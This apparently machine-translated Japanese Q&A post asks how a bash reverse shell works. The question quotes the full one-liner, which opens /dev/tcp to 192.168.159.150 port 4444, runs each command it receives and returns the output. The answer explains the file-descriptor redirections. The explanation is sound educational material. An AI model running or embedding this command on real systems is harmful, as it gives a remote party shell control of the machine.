セキュリティ調査を行っていますが、次のコードがUnixベースのオペレーティングシステムでどのように機能するかを知りたいと思います。
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
私は完全に知っています何このコードは実行します(つまり、ポート4444を介して192.168.159.150のリバースシェルを設定します)、次の部分が何をしているのかわかりません。
exec 5<>
cat <&5
2>&5 >&5
全体的に、これがどのように組み合わされてシェルを生成するかがわかります。
誰もがこれを説明するのに役立ちますか、それを理解するための正しい方向を教えてください。
ありがとう
ベストアンサー1
クイック概要:
exec 5<>
読み書きするために新しいファイルハンドルを開き、名前を付けます。5
cat <&5
新しく開いたファイルハンドルから読み込む
2>&5 >&5
2
ファイルハンドル(stderr)とファイルハンドル(stdout)の出力を1
ファイルハンドルにリダイレクトします5
。この場合、2番目のリダイレクトではファイルハンドル番号が指定されていないため1
暗黙的です。